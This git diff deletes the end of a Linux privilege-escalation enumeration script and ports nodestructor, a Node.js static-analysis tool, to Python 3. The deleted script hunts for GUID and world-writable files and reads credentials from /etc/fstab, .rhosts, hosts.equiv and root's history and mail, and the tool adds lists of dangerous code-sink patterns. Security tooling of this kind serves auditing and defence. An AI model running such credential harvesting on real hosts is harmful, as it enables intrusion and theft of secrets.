-fi - -#list of 'interesting' guid files - feel free to make additions -if [ "$thorough" = "1" ]; then -intguid=`find / -perm -2000 -type f 2>/dev/null | grep -w 'nmap\|perl\|'awk'\|'find'\|'bash'\|'sh'\|'man'\|'more'\|'less'\|'vi'\|'emacs'\|'vim'\|'nc'\|'netcat'\|python\|ruby\|lua\|irb\|pl' | xargs -r ls -la 2>/dev/null` - if [ "$intguid" ]; then - echo -e "\e[00;33m***Possibly interesting GUID files:\e[00m\n$intguid" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : - fi - else - : -fi - -#lists world-writable guid files -if [ "$thorough" = "1" ]; then -wwguid=`find / -perm -2007 -type f -exec ls -la {} 2>/dev/null \;` - if [ "$wwguid" ]; then - echo -e "\e[00;31mWorld-writable GUID files:\e[00m\n$wwguid" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : - fi - else - : -fi - -#lists world-writable guid files owned by root -if [ "$thorough" = "1" ]; then -wwguidrt=`find / -uid 0 -perm -2007 -type f -exec ls -la {} 2>/dev/null \;` - if [ "$wwguidrt" ]; then - echo -e "\e[00;31mAWorld-writable GUID files owned by root:\e[00m\n$wwguidrt" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : - fi - else - : -fi - -#list all world-writable files excluding /proc -if [ "$thorough" = "1" ]; then -wwfiles=`find / ! -path "*/proc/*" -perm -2 -type f -exec ls -la {} 2>/dev/null \;` - if [ "$wwfiles" ]; then - echo -e "\e[00;31mWorld-writable files (excluding /proc):\e[00m\n$wwfiles" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : - fi - else - : -fi - -if [ "$thorough" = "1" ]; then - if [ "$export" ] && [ "$wwfiles" ]; then - mkdir $format/ww-files/ 2>/dev/null - for i in $wwfiles; do cp --parents $i $format/ww-files/; done 2>/dev/null - else - : - fi - else - : -fi - -#are any .plan files accessible in /home (could contain useful information) -usrplan=`find /home -iname *.plan -exec ls -la {} \; -exec cat {} 2>/dev/null \;` -if [ "$usrplan" ]; then - echo -e "\e[00;31mPlan file permissions and contents:\e[00m\n$usrplan" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$usrplan" ]; then - mkdir $format/plan_files/ 2>/dev/null - for i in $usrplan; do cp --parents $i $format/plan_files/; done 2>/dev/null -else - : -fi - -bsdusrplan=`find /usr/home -iname *.plan -exec ls -la {} \; -exec cat {} 2>/dev/null \;` -if [ "$bsdusrplan" ]; then - echo -e "\e[00;31mPlan file permissions and contents:\e[00m\n$bsdusrplan" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$bsdusrplan" ]; then - mkdir $format/plan_files/ 2>/dev/null - for i in $bsdusrplan; do cp --parents $i $format/plan_files/; done 2>/dev/null -else - : -fi - -#are there any .rhosts files accessible - these may allow us to login as another user etc. -rhostsusr=`find /home -iname *.rhosts -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;` -if [ "$rhostsusr" ]; then - echo -e "\e[00;31mrhost config file(s) and file contents:\e[00m\n$rhostsusr" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$rhostsusr" ]; then - mkdir $format/rhosts/ 2>/dev/null - for i in $rhostsusr; do cp --parents $i $format/rhosts/; done 2>/dev/null -else - : -fi - -bsdrhostsusr=`find /usr/home -iname *.rhosts -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;` -if [ "$bsdrhostsusr" ]; then - echo -e "\e[00;31mrhost config file(s) and file contents:\e[00m\n$bsdrhostsusr" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$bsdrhostsusr" ]; then - mkdir $format/rhosts 2>/dev/null - for i in $bsdrhostsusr; do cp --parents $i $format/rhosts/; done 2>/dev/null -else - : -fi - -rhostssys=`find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;` -if [ "$rhostssys" ]; then - echo -e "\e[00;31mHosts.equiv file details and file contents: \e[00m\n$rhostssys" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : -fi - -if [ "$export" ] && [ "$rhostssys" ]; then - mkdir $format/rhosts/ 2>/dev/null - for i in $rhostssys; do cp --parents $i $format/rhosts/; done 2>/dev/null -else - : -fi - -#list nfs shares/permisisons etc. -nfsexports=`ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null` -if [ "$nfsexports" ]; then - echo -e "\e[00;31mNFS config details: \e[00m\n$nfsexports" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : -fi - -if [ "$export" ] && [ "$nfsexports" ]; then - mkdir $format/etc-export/ 2>/dev/null - cp /etc/exports $format/etc-export/exports 2>/dev/null -else - : -fi - -#looking for credentials in /etc/fstab -fstab=`cat /etc/fstab 2>/dev/null |grep username |awk '{sub(/.*\username=/,"");sub(/\,.*/,"")}1' 2>/dev/null| xargs -r echo username: 2>/dev/null; cat /etc/fstab 2>/dev/null |grep password |awk '{sub(/.*\password=/,"");sub(/\,.*/,"")}1' 2>/dev/null| xargs -r echo password: 2>/dev/null; cat /etc/fstab 2>/dev/null |grep domain |awk '{sub(/.*\domain=/,"");sub(/\,.*/,"")}1' 2>/dev/null| xargs -r echo domain: 2>/dev/null` -if [ "$fstab" ]; then - echo -e "\e[00;33m***Looks like there are credentials in /etc/fstab!\e[00m\n$fstab" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : -fi - -if [ "$export" ] && [ "$fstab" ]; then - mkdir $format/etc-exports/ 2>/dev/null - cp /etc/fstab $format/etc-exports/fstab done 2>/dev/null -else - : -fi - -fstabcred=`cat /etc/fstab 2>/dev/null |grep cred |awk '{sub(/.*\credentials=/,"");sub(/\,.*/,"")}1' 2>/dev/null | xargs -I{} sh -c 'ls -la {}; cat {}' 2>/dev/null` -if [ "$fstabcred" ]; then - echo -e "\e[00;33m***/etc/fstab contains a credentials file!\e[00m\n$fstabcred" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : -fi - -if [ "$export" ] && [ "$fstabcred" ]; then - mkdir $format/etc-exports/ 2>/dev/null - cp /etc/fstab $format/etc-exports/fstab done 2>/dev/null -else - : -fi - -#use supplied keyword and cat *.conf files for potential matches - output will show line number within relevant file path where a match has been located -if [ "$keyword" = "" ]; then - echo -e "Can't search *.conf files as no keyword was entered\n" |tee -a $report 2>/dev/null - else - confkey=`find / -maxdepth 4 -name *.conf -type f -exec grep -Hn $keyword {} \; 2>/dev/null` - if [ "$confkey" ]; then - echo -e "\e[00;31mFind keyword ($keyword) in .conf files (recursive 4 levels - output format filepath:identified line number where keyword appears):\e[00m\n$confkey" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - echo -e "\e[00;31mFind keyword ($keyword) in .conf files (recursive 4 levels):\e[00m" |tee -a $report 2>/dev/null - echo -e "'$keyword' not found in any .conf files" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - fi -fi - -if [ "$keyword" = "" ]; then - : - else - if [ "$export" ] && [ "$confkey" ]; then - confkeyfile=`find / -maxdepth 4 -name *.conf -type f -exec grep -lHn $keyword {} \; 2>/dev/null` - mkdir --parents $format/keyword_file_matches/config_files/ 2>/dev/null - for i in $confkeyfile; do cp --parents $i $format/keyword_file_matches/config_files/ ; done 2>/dev/null - else - : - fi -fi - -#use supplied keyword and cat *.log files for potential matches - output will show line number within relevant file path where a match has been located -if [ "$keyword" = "" ];then - echo -e "Can't search *.log files as no keyword was entered\n" |tee -a $report 2>/dev/null - else - logkey=`find / -name *.log -type f -exec grep -Hn $keyword {} \; 2>/dev/null` - if [ "$logkey" ]; then - echo -e "\e[00;31mFind keyword ($keyword) in .log files (output format filepath:identified line number where keyword appears):\e[00m\n$logkey" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - echo -e "\e[00;31mFind keyword ($keyword) in .log files (recursive 2 levels):\e[00m" |tee -a $report 2>/dev/null - echo -e "'$keyword' not found in any .log files" - echo -e "\n" |tee -a $report 2>/dev/null - fi -fi - -if [ "$keyword" = "" ];then - : - else - if [ "$export" ] && [ "$logkey" ]; then - logkeyfile=`find / -name *.log -type f -exec grep -lHn $keyword {} \; 2>/dev/null` - mkdir --parents $format/keyword_file_matches/log_files/ 2>/dev/null - for i in $logkeyfile; do cp --parents $i $format/keyword_file_matches/log_files/ ; done 2>/dev/null - else - : - fi -fi - -#use supplied keyword and cat *.ini files for potential matches - output will show line number within relevant file path where a match has been located -if [ "$keyword" = "" ];then - echo -e "Can't search *.ini files as no keyword was entered\n" |tee -a $report 2>/dev/null - else - inikey=`find / -maxdepth 4 -name *.ini -type f -exec grep -Hn $keyword {} \; 2>/dev/null` - if [ "$inikey" ]; then - echo -e "\e[00;31mFind keyword ($keyword) in .ini files (recursive 4 levels - output format filepath:identified line number where keyword appears):\e[00m\n$inikey" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - echo -e "\e[00;31mFind keyword ($keyword) in .ini files (recursive 2 levels):\e[00m" |tee -a $report 2>/dev/null - echo -e "'$keyword' not found in any .ini files" |tee -a $report 2>/dev/null - echo -e "\n" - fi -fi - -if [ "$keyword" = "" ];then - : - else - if [ "$export" ] && [ "$inikey" ]; then - inikey=`find / -maxdepth 4 -name *.ini -type f -exec grep -lHn $keyword {} \; 2>/dev/null` - mkdir --parents $format/keyword_file_matches/ini_files/ 2>/dev/null - for i in $inikey; do cp --parents $i $format/keyword_file_matches/ini_files/ ; done 2>/dev/null - else - : - fi -fi - -#quick extract of .conf files from /etc - only 1 level -allconf=`find /etc/ -maxdepth 1 -name *.conf -type f -exec ls -la {} \; 2>/dev/null` -if [ "$allconf" ]; then - echo -e "\e[00;31mAll *.conf files in /etc (recursive 1 level):\e[00m\n$allconf" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$allconf" ]; then - mkdir $format/conf-files/ 2>/dev/null - for i in $allconf; do cp --parents $i $format/conf-files/; done 2>/dev/null -else - : -fi - -#extract any user history files that are accessible -usrhist=`ls -la ~/.*_history 2>/dev/null` -if [ "$usrhist" ]; then - echo -e "\e[00;31mCurrent user's history files:\e[00m\n$usrhist" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$usrhist" ]; then - mkdir $format/history_files/ 2>/dev/null - for i in $usrhist; do cp --parents $i $format/history_files/; done 2>/dev/null - else - : -fi - -#can we read roots *_history files - could be passwords stored etc. -roothist=`ls -la /root/.*_history 2>/dev/null` -if [ "$roothist" ]; then - echo -e "\e[00;33m***Root's history files are accessible!\e[00m\n$roothist" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$roothist" ]; then - mkdir $format/history_files/ 2>/dev/null - cp $roothist $format/history_files/ 2>/dev/null -else - : -fi - -#is there any mail accessible -readmail=`ls -la /var/mail 2>/dev/null` -if [ "$readmail" ]; then - echo -e "\e[00;31mAny interesting mail in /var/mail:\e[00m\n$readmail" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#can we read roots mail -readmailroot=`head /var/mail/root 2>/dev/null` -if [ "$readmailroot" ]; then - echo -e "\e[00;33m***We can read /var/mail/root! (snippet below)\e[00m\n$readmailroot" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$readmailroot" ]; then - mkdir $format/mail-from-root/ 2>/dev/null - cp $readmailroot $format/mail-from-root/ 2>/dev/null -else - : -fi - -#specific checks - check to see if we're in a docker container -dockercontainer=`cat /proc/self/cgroup 2>/dev/null | grep -i docker 2>/dev/null; find / -name "*dockerenv*" -exec ls -la {} \; 2>/dev/null` -if [ "$dockercontainer" ]; then - echo -e "\e[00;33mLooks like we're in a Docker container:\e[00m\n$dockercontainer" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#specific checks - check to see if we're a docker host -dockerhost=`docker --version 2>/dev/null; docker ps -a 2>/dev/null` -if [ "$dockerhost" ]; then - echo -e "\e[00;33mLooks like we're hosting Docker:\e[00m\n$dockerhost" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#specific checks - are we a member of the docker group -dockergrp=`id | grep -i docker 2>/dev/null` -if [ "$dockergrp" ]; then - echo -e "\e[00;33mWe're a member of the (docker) group - could possibly misuse these rights!:\e[00m\n$dockergrp" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#specific checks - are there any docker files present -dockerfiles=`find / -name Dockerfile -exec ls -l {} 2>/dev/null \;` -if [ "$dockerfiles" ]; then - echo -e "\e[00;31mAnything juicy in the Dockerfile?:\e[00m\n$dockerfiles" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#specific checks - are there any docker files present -dockeryml=`find / -name docker-compose.yml -exec ls -l {} 2>/dev/null \;` -if [ "$dockeryml" ]; then - echo -e "\e[00;31mAnything juicy in docker-compose.yml?:\e[00m\n$dockeryml" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -echo -e "\e[00;33m### SCAN COMPLETE ####################################\e[00m" |tee -a $report 2>/dev/null - -#EndOfScript \ No newline at end of file diff --git a/nodestructor/imports/beautyConsole.py b/nodestructor/imports/beautyConsole.py index 4c7f68d..603135f 100755 --- a/nodestructor/imports/beautyConsole.py +++ b/nodestructor/imports/beautyConsole.py @@ -20,7 +20,7 @@ class beautyConsole: "cyan": '\33[36m', "grey": '\33[90m', "lightgrey": '\33[37m', - "lightblue": '\33[94' + "lightblue": '\33[36' } characters = { diff --git a/nodestructor/js/foobar.js b/nodestructor/js/foobar.js index 6f62558..3626b08 100644 --- a/nodestructor/js/foobar.js +++ b/nodestructor/js/foobar.js @@ -1,8 +1,9 @@ -'use strict' +'use strict'; function fn(arg) { return arg } -let x = 20 -x = fn(x) \ No newline at end of file +let x = 20; +const TEST = 12; +x = fn(x); \ No newline at end of file diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index bedbda2..19438b2 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -1,221 +1,321 @@ -#!/usr/bin/python +#!/usr/bin/env python3 # # nodestructor # Node.js application static code analysis tool # -# bl4de | bloorq@gmail.com | Twitter: @_bl4de -# +# pylint: disable=W1401 +# pylint: disable=C """ nodestructor.py - static code analysis for Node.js applications by bl4de -GitHub: bl4de | Twitter: @_bl4de | hackerone.com/bl4de bloorq@gmail.com +GitHub: bl4de | hackerone.com/bl4de | bloorq AT gmail.com """ -import os + +""" +some ideas: +https://attacker-codeninja.github.io/2021-08-24-code-review-notes-from-bug-bounty-bootcamp/ + +""" + + import re +import os import argparse - from imports.beautyConsole import beautyConsole +banner = r""" + ( ) ) + )\ ) ( ( /( ( ( ( /( ( + ( ( (()/( ))\ ( )\()))( ))\ ( )\()) ( )( + )\ ) )\ ((_))/((_))\ (_))/(()\ /((_) )\ (_))/ )\ (()\ + _(_/( ((_) _| |(_)) ((_)| |_ ((_)(_))( ((_)| |_ ((_) ((_) + | ' \))/ _ \/ _` |/ -_)(_-<| _|| '_|| || |/ _| | _|/ _ \| '_| + |_||_| \___/\__,_|\___|/__/ \__||_| \_,_|\__| \__|\___/|_| -BANNER = """ - - ( ) ) - )\ ) ( ( /( ( ( ( /( ( - ( ( (()/( ))\ ( )\()))( ))\ ( )\()) ( )( - )\ ) )\ ((_))/((_))\ (_))/(()\ /((_) )\ (_))/ )\ (()\ - _(_/( ((_) _| |(_)) ((_)| |_ ((_)(_))( ((_)| |_ ((_) ((_) - | ' \))/ _ \/ _` |/ -_)(_-<| _|| '_|| || |/ _| | _|/ _ \| '_| - |_||_| \___/\__,_|\___|/__/ \__||_| \_,_|\__| \__|\___/|_| - ##### static code analysis for Node.js and other JavaScript apps ##### ##### GitHub.com/bl4de | twitter.com/_bl4de | hackerone.com/bl4de ##### -example usages: +example usages: $ ./nodestructor filename.js - $ ./nodestructor -R ./dirname - $ ./nodestructor -R ./dirname --skip-node-modules --skip-test-files - $ ./nodestructor -R ./node_modules --exclude=babel,lodash,ansi - $ ./nodestructor -R ./node_modules --include=body-parser,chalk,commander - $ ./nodestructor -R ./node_modules --pattern="obj.dangerousFn\(" + $ ./nodestructor -r ./dirname + $ ./nodestructor -r ./dirname --skip-node-modules --skip-test-files + $ ./nodestructor -r ./node_modules --exclude=babel,lodash,ansi + $ ./nodestructor -r ./node_modules --include=body-parser,chalk,commander + $ ./nodestructor -r ./node_modules --pattern="obj.dangerousFn\(" """ -NODEJS_PATTERNS = [ - ".*url.parse\(", - ".*[pP]ath.normalize\(", - ".*fs.*File.*\(", - ".*fs.*Read.*\(", - ".*process.cwd\(", - ".*pipe\(res", - ".*bodyParser\(", - ".*eval\(", - ".*res.write\(", - ".*child_process", - ".*child_process.exec\(", - ".*Function\(", - ".*execFile\(", - ".*spawn\(", - ".*fork\(", - ".*setTimeout\(", - ".*setInterval\(", - ".*setImmediate\(", - ".*newBuffer\(", - ".*constructor\(" -] - -NPM_PATTERNS = [ - ".*serialize\(", - ".*unserialize\(" -] - -BROWSER_PATTERNS = [ - ".*URLSearchParams\(", - ".*innerHTML", - ".*innerText", - ".*textContent", - ".*outerHTML", - ".*appendChild\(", - ".*document.write\(", - ".*document.location", - ".*location.href", - ".*location.search", - ".*location.hash", - ".*location.host", - ".*location.pathname", - ".*document.cookie", - ".*history.pushState\(", - ".*history.replaceState\(", - ".*navigator.userAgent", - ".*window.open\(", - ".*window.postMessage\(", - ".*.addEventListener\(['\"]message['\"]", - ".*.ajax", - ".*.getJSON", - ".*\$http.", - ".*navigator.sendBeacon\(" +nodejs_patterns = [ + r".*url.parse\(", + r".*[pP]ath.normalize\(", + r".*fs.*File.*\(", + r".*fs.*Read.*\(", + r".*pipe\(res", + r".*bodyParser\(", + r".*eval\(", + r".*exec\(", + r".*execSync\(", + r".*execFile\(", + r".*execFileSync\(", + r".*res.write\(", + r".*child_process", + r".*child_process.exec\(", + r".*\sFunction\(", + r".*spawn\(", + r".*fork\(", + r"\.shell", + r"\.env", + r"\.exitCode", + r"\.pid", + r".*newBuffer\(", + r".*\.constructor\(", + r".*mysql\.createConnection\(", + r".*\.query\(", + r".*serialize\(", + r".*unserialize\(", + r".*__proto__" ] -HTML_PATTERNS = [ - ".*", - ".*", - ".*" +browrser_patterns = [ + r".*urlsearchParams\(", + r".*innerHTML", + r".*innerText", + r".*textContent", + r".*outerHTML", + r".*appendChild\(", + r".*document.write\(", + r".*document.writeln\(", + r".*document.location", + r".*document.URL", + r".*document.documentURI", + r".*document.URLUnencoded", + r".*document.baseURI", + r".*document.referrer", + r".*location.href", + r".*location.search", + r".*location.hash", + r".*location.host", + r".*location.pathname", + r".*document.cookie", + r".*history.pushState\(", + r".*history.replaceState\(", + r".*navigator.userAgent", + r".*window.open\(", + r".*postMessage\(", + r".*.addEventListener\(['\"]message['\"]", + r".*.ajax\(", + r".*.getJSON\(", + r".*\$http\(", + r".*navigator.sendBeacon\(", + r".*\.add\(", + r".*\.append\(", + r".*\.after\(", + r".*\.before\(", + r".*\.html\(", + r".*\.prepend\(", + r".*\.replaceWith\(", + r".*\.wrap\(", + r".*\.wrapAll\(", + r".*\.dangerouslySetInnerHTML", + r".*\.bypassSecurityTrust.*", + r".*localStorage\.", + r".*sessionStorage\.", + r".*\$sce\.trustAsHtml\(", + r".*\.load\(", + r".*jQuery\.ajax\(", + r".*parseHTML", + r".*wrap.*\(", + r".*html\(", + r".*before\(", + r".*after\(", + r".*insertBefore\(", + r".*insertAfter\(", + r".*prepend", + r".*setContent\(", + r".*setHTML\(", + r".*\.SafeString\(", + r".*globalEval", + r".*execScript", + r".*insertAdjacentHTML\(", + r".*setAttribute.on", + r".*xhr.open", + r".*xhr.send", + r"fetch", + r".*xhr.setRequestHeader.name", + r".*xhr.setRequestHeader.value", + r".*attr.href", + r".*attr.src", + r".*attr.data", + r".*attr.action", + r".*attr.formaction", + r".*prop.href", + r".*prop.src", + r".*prop.data", + r".*prop.action", + r".*prop.formaction", + r"form.action", + r".*input.formaction", + r".*button.formaction", + r".*button.value", + r".*setAttribute.href", + r".*setAttribute.src", + r".*setAttribute.data", + r".*setAttribute.action", + r".*setAttribute.formaction", + r"webdatabase.executeSql", + r".*document.domain", + r".*history.pushState", + r".*history.replaceState", + r".*setRequestHeader", + r".*websocket", + r".*anchor.href", + r".*anchor.target", + r".*JSON.parse", + r".*document.cookie", + r".*localStorage.setItem.name", + r".*localStorage.setItem.value", + r".*sessionStorage.setItem.name", + r".*sessionStorage.setItem.value", + r".*outerText", + r".*innerText", + r".*textContent", + r".*style.cssText", + r".*RegExp" ] -URL_REGEX = re.compile("(https|http):\/\/[a-zA-Z0-9#=\-\?\&\/\.]+") -URLS = [] +url_regex = re.compile(r"(https|http):\/\/[a-zA-Z0-9#=\-\?\&\/\.]+") +urls = [] -PATTERNS = NODEJS_PATTERNS + NPM_PATTERNS -TOTAL_FILES = 0 -PATTERNS_IDENTIFIED = 0 -FILES_WITH_IDENTIFIED_PATTERNS = 0 +patterns = nodejs_patterns +total_files = 0 +patterns_identified = 0 +files_with_identified_patterns = 0 -# some files not to loking in: -EXTENSIONS_TO_IGNORE = ['md', 'txt', 'map', 'jpg', 'png'] -MINIFIED_EXT = ['.min.js'] +minified_ext = ['.min.js'] SKIP_ALWAYS = ['package.json', 'README.md'] TEST_FILES = ['test.js', 'tests.js'] -SKIP_NODE_MODULES = False -SKIP_TEST_FILES = False -IDENTIFY_URLS = False -EXCLUDE = [] -EXCLUDE_ALWAYS = ['babel', 'lodash', 'ansi', 'array', 'core-util', '.bin', 'babylon', 'next-tick', - 'core-js', 'es5', 'es6', 'convert-source-map', 'source-map-', 'mime', - 'to-fast-properties', 'json5', 'async', 'http-proxy', 'mkdirp', 'loose-envify', +skip_node_modules = False +skip_test_files = False +identify_urls = False +exclude = [] +exclude_always = ['babel', 'lodash', 'ansi', 'array', 'core-util', '.bin', + 'babylon', 'next-tick', + 'core-js', 'es5', 'es6', 'convert-source-map', 'source-map-', + 'mime', + 'to-fast-properties', 'json5', 'async', 'http-proxy', + 'mkdirp', 'loose-envify', '.git', '.idea'] -INCLUDE = [] -PATTERN = "" -EXCLUDE_PATTERNS = [] +include = [] +pattern = "" +EXCLUDE_patterns = [] def show_banner(): """ Prints welcome banner with contact info """ - print beautyConsole.getColor("cyan") - print BANNER - print beautyConsole.getColor("white") + global banner + print(beautyConsole.getColor("cyan")) + print(banner) + print(beautyConsole.getColor("white")) -def printcodeline(_line, i, _fn, _message): +def printcodeline(_line, i, _fn, _message, _code, verbose, fname=None): """ Formats and prints line of output """ _fn = _fn.replace("*", "").replace("\\", "").replace(".(", '(')[0:len(_fn)] - print ":: line %d :: \33[33;1m%s\33[0m %s " % (i, _fn, _message) - print beautyConsole.getColor("grey") + _line + \ - beautyConsole.getSpecialChar("endline") + print("{}:{} :: \33[33;1m{}\33[0m {} ".format(fname, i, _fn, _message)) + if verbose: + if i > 3: + print(str(i - 3) + ' ' + beautyConsole.getColor("grey") + _code[i-3].rstrip() + + beautyConsole.getSpecialChar("endline")) + if i > 2: + print(str(i - 2) + ' ' + beautyConsole.getColor("grey") + _code[i-2].rstrip() + + beautyConsole.getSpecialChar("endline")) -def process_files(subdirectory, sd_files, pattern=""): + print(str(i) + ' ' + beautyConsole.getColor("green") + _line.rstrip() + + beautyConsole.getSpecialChar("endline")) + + if i < len(_code) - 1: + print(str(i + 1) + ' ' + beautyConsole.getColor("grey") + _code[i+1].rstrip() + + beautyConsole.getSpecialChar("endline")) + if i < len(_code) - 2: + print(str(i + 2) + ' ' + beautyConsole.getColor("grey") + _code[i+2].rstrip() + + beautyConsole.getSpecialChar("endline")) + + +def process_files(subdirectory, sd_files, pattern="", verbose=False): """ - recursively iterates ofer all files and checks those which meet criteria set by options only + recursively iterates ofer all files and checks those which meet + criteria set by options only """ - global TOTAL_FILES + global total_files for __file in sd_files: current_filename = os.path.join(subdirectory, __file) - if (current_filename[-3:] not in EXTENSIONS_TO_IGNORE - and current_filename not in SKIP_ALWAYS - and current_filename[-2:] not in EXTENSIONS_TO_IGNORE - and current_filename[-7:] not in MINIFIED_EXT): - - if not '/node_modules/' in subdirectory or ('/node_modules/' in subdirectory and SKIP_NODE_MODULES is False): - if (SKIP_TEST_FILES is False): - perform_code_analysis(current_filename, pattern) - TOTAL_FILES = TOTAL_FILES + 1 + if current_filename[-3:] == '.js': + if not '/node_modules/' in subdirectory or ('/node_modules/' in subdirectory and skip_node_modules is False): + if (skip_test_files is False): + perform_code_analysis(current_filename, pattern, verbose) + total_files = total_files + 1 else: if __file not in TEST_FILES and "/test" not in current_filename and "/tests" not in current_filename: - perform_code_analysis(current_filename, pattern) - TOTAL_FILES = TOTAL_FILES + 1 + perform_code_analysis( + current_filename, pattern, verbose) + total_files = total_files + 1 -def perform_code_analysis(src, pattern=""): +def perform_code_analysis(src, pattern="", verbose=False): """ performs code analysis, line by line """ - global PATTERNS_IDENTIFIED - global FILES_WITH_IDENTIFIED_PATTERNS - global PATTERNS + global patterns + global patterns_identified + global files_with_identified_patterns - # if -P / --pattern is defined, overwrite PATTERNS with user defined + # if -P / --pattern is defined, overwrite patterns with user defined # value(s) if pattern: - PATTERNS = [".*" + pattern] + patterns = [".*" + pattern] print_filename = True _file = open(src, "r") + _code = _file.readlines() i = 0 patterns_found_in_file = 0 - for _line in _file: + for _line in _code: i += 1 __line = _line.strip() - for __pattern in PATTERNS: + for __pattern in patterns: __rex = re.compile(__pattern) if __rex.match(__line.replace(' ', '')): if print_filename: - FILES_WITH_IDENTIFIED_PATTERNS = FILES_WITH_IDENTIFIED_PATTERNS + 1 - print "FILE: \33[33m{}\33[0m\n".format(src) + files_with_identified_patterns = files_with_identified_patterns + 1 + print("FILE: \33[33m{}\33[0m\n".format(src)) print_filename = False patterns_found_in_file += 1 - printcodeline(_line[0:120] + "...", i, __pattern, - ' code pattern identified: ') + printcodeline(_line, i, __pattern, + ' pattern found ', _code, verbose, _file.name) # URL searching - if IDENTIFY_URLS == True: - if URL_REGEX.search(__line): - __url = URL_REGEX.search(__line).group(0) + if identify_urls == True: + if url_regex.search(__line): + __url = url_regex.search(__line).group(0) # show each unique URL only once - if __url not in URLS: - printcodeline(__url, i, __url, ' URL found: ') - URLS.append(__url) + if __url not in urls: + printcodeline(__url, i, __url, + ' URL found: ', _code, verbose, _file.name) + urls.append(__url) if patterns_found_in_file > 0: - PATTERNS_IDENTIFIED = PATTERNS_IDENTIFIED + patterns_found_in_file - print beautyConsole.getColor("red") + \ - "Identified %d code pattern(s)\n" % (patterns_found_in_file) + \ - beautyConsole.getSpecialChar("endline") - print beautyConsole.getColor("white") + "-" * 100 + patterns_identified = patterns_identified + patterns_found_in_file + print(beautyConsole.getColor("red") + + "\nIdentified %d code pattern(s)\n" % (patterns_found_in_file) + + beautyConsole.getSpecialChar("endline")) + print(beautyConsole.getColor("white") + "-" * 100) # main program @@ -225,71 +325,71 @@ def perform_code_analysis(src, pattern=""): parser = argparse.ArgumentParser() parser.add_argument("filename", help="Specify a file or directory to scan") parser.add_argument( - "-R", "--recursive", help="check files recursively", action="store_true") + "-r", "--recursive", help="check files recursively", action="store_true") + parser.add_argument( + "-v", "--verbose", help="verbose output - show code before/after vulnerable line", action="store_true") parser.add_argument( - "-E", "--exclude", help="comma separated list of packages to exclude from scanning (eg. babel excludes ALL packages with babel in name, like babel-register, babel-types etc.") + "-e", "--exclude", help="comma separated list of packages to exclude from scanning (eg. babel excludes ALL packages with babel in name, like babel-register, babel-types etc.") parser.add_argument( - "-I", "--include", help="comma separated list of selected packages for scanning. Might be useful in projects where there are hundreds of dependiences and only some of them needs to be processed") + "-i", "--include", help="comma separated list of selected packages for scanning. Might be useful in projects where there are hundreds of dependiences and only some of them needs to be processed") parser.add_argument( - "-S", "--skip-node-modules", help="when scanning recursively, do not scan ./node_modules folder", action="store_true") + "-s", "--skip-node-modules", help="when scanning recursively, do not scan ./node_modules folder", action="store_true") parser.add_argument( - "-T", "--skip-test-files", help="when scanning recursively, do not check test files (usually test.js)", action="store_true") + "-t", "--skip-test-files", help="when scanning recursively, do not check test files (usually test.js)", action="store_true") parser.add_argument( - "-H", "--include-html-patterns", help="include HTML patterns, like 0: - print beautyConsole.getColor("red") - print "Identified {} code pattern(s) in {} file(s)".format( - PATTERNS_IDENTIFIED, FILES_WITH_IDENTIFIED_PATTERNS) + print(beautyConsole.getColor("cyan")) + print(" {} file(s) scanned in total".format(total_files)) + if patterns_identified > 0: + print(beautyConsole.getColor("red")) + print("Identified {} code pattern(s) in {} file(s)".format( + patterns_identified, files_with_identified_patterns)) else: - print beautyConsole.getColor( - "green"), "No code pattern identified" - print beautyConsole.getColor("white") + print(beautyConsole.getColor("green"), "No code pattern identified") + print(beautyConsole.getColor("white")) diff --git a/nodestructor/static_analysis.py b/nodestructor/static_analysis.py deleted file mode 100755 index 2fc7fc4..0000000 --- a/nodestructor/static_analysis.py +++ /dev/null @@ -1,57 +0,0 @@ -#!/usr/bin/python -import re -import sys -import 